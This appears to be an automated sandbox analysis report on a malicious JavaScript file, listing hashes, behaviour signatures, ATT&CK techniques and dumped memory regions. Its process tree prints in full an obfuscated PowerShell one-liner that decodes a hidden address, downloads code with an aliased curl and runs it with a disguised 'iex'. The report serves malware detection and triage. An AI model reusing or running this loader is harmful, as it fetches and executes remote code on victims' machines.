f0a06049bf23f9b0b9957ba7c4f5d085fe7edeb89624e28d5bfeee5a2f10cae1

Analysis

max time kernel
94s
max time network
145s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
21-12-2024 14:58

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General

Target

11b569a0266b290d8af3e17f6d51dee700d593b7a338c1800c4d0403ad9000be.js
Size

215KB
MD5

426eec9f07878c4590c5ff8bb81ffe86
SHA1

510bd4a707e0e7ea830a41c253bf7f08677a53fd
SHA256

11b569a0266b290d8af3e17f6d51dee700d593b7a338c1800c4d0403ad9000be
SHA512

e72349f724e52d01d30af3c9b3f68a1a37075a87e59812481362236551fe2de438ec4b43256606800f2caf51fd3344eecf3f0423b5642989783bcddaeeb64695
SSDEEP

3072:nGLf+ClhBKrlMLf+ClhBKr35iLf+ClhBKrtLf+ClhBKrF:qfJ93fJ9DfJ9SfJ9+

Score

10^/10

execution

Malware Config

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3480	2944	conhost.exe	82

Blocklisted process makes network request 1 IoCs

flow	pid	Process
7	1568	powershell.exe

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
1568	powershell.exe
1568	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	1568	powershell.exe

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 3480 wrote to memory of 1568	3480	conhost.exe	84
PID 3480 wrote to memory of 1568	3480	conhost.exe	84

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\11b569a0266b290d8af3e17f6d51dee700d593b7a338c1800c4d0403ad9000be.js
1⤵
PID:2284

C:\Windows\system32\conhost.exe
conhost --headless powershell $lfkuecphjxbgt='ur' ;new-alias printout c$($lfkuecphjxbgt)l;$ufkhmqtnp=(5039,5050,5058,5042,5044,5039,5059,5058,5063,4996,5058,4992,5039,4987,5057,5052,5053,4988,4990,4987,5053,5045,5053,5004,5056,5002,5050,5046,5051,5057,5056,4991,4990);$oxqfsiypbvmlc=('bronx','get-cmdlet');$qafhbszpgljkor=$ufkhmqtnp;foreach($idlpmctawshfre in $qafhbszpgljkor){$dugfthaezkb=$idlpmctawshfre;$eghdvbfl=$eghdvbfl+[char]($dugfthaezkb-4941);$kyrfui=$eghdvbfl; $gpfrtjoizhwm=$kyrfui};$tnhxdcyriv[2]=$gpfrtjoizhwm;$xgzsykvhewbcro='rl';$khiuwfqrzbova=1;.$([char](9992-9887)+'e'+'x')(printout -useb $gpfrtjoizhwm)
1⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:3480
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell $lfkuecphjxbgt='ur' ;new-alias printout c$($lfkuecphjxbgt)l;$ufkhmqtnp=(5039,5050,5058,5042,5044,5039,5059,5058,5063,4996,5058,4992,5039,4987,5057,5052,5053,4988,4990,4987,5053,5045,5053,5004,5056,5002,5050,5046,5051,5057,5056,4991,4990);$oxqfsiypbvmlc=('bronx','get-cmdlet');$qafhbszpgljkor=$ufkhmqtnp;foreach($idlpmctawshfre in $qafhbszpgljkor){$dugfthaezkb=$idlpmctawshfre;$eghdvbfl=$eghdvbfl+[char]($dugfthaezkb-4941);$kyrfui=$eghdvbfl; $gpfrtjoizhwm=$kyrfui};$tnhxdcyriv[2]=$gpfrtjoizhwm;$xgzsykvhewbcro='rl';$khiuwfqrzbova=1;.$([char](9992-9887)+'e'+'x')(printout -useb $gpfrtjoizhwm)
  2⤵
  - Blocklisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1568

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

JavaScript

T1059.007

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_eaub3y44.yyc.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/1568-0-0x00007FFD352C3000-0x00007FFD352C5000-memory.dmp

Filesize
8KB

Download
memory/1568-1-0x0000020874680000-0x00000208746A2000-memory.dmp

Filesize
136KB

Download
memory/1568-11-0x00007FFD352C0000-0x00007FFD35D81000-memory.dmp

Filesize
10.8MB

Download
memory/1568-12-0x00007FFD352C0000-0x00007FFD35D81000-memory.dmp

Filesize
10.8MB

Download
memory/1568-13-0x00007FFD352C0000-0x00007FFD35D81000-memory.dmp

Filesize
10.8MB

Download
memory/1568-14-0x00007FFD352C0000-0x00007FFD35D81000-memory.dmp

Filesize
10.8MB

Download
memory/1568-15-0x00007FFD352C3000-0x00007FFD352C5000-memory.dmp

Filesize
8KB

Download
memory/1568-16-0x00007FFD352C0000-0x00007FFD35D81000-memory.dmp

Filesize
10.8MB

Download
memory/1568-19-0x00007FFD352C0000-0x00007FFD35D81000-memory.dmp

Filesize
10.8MB

Download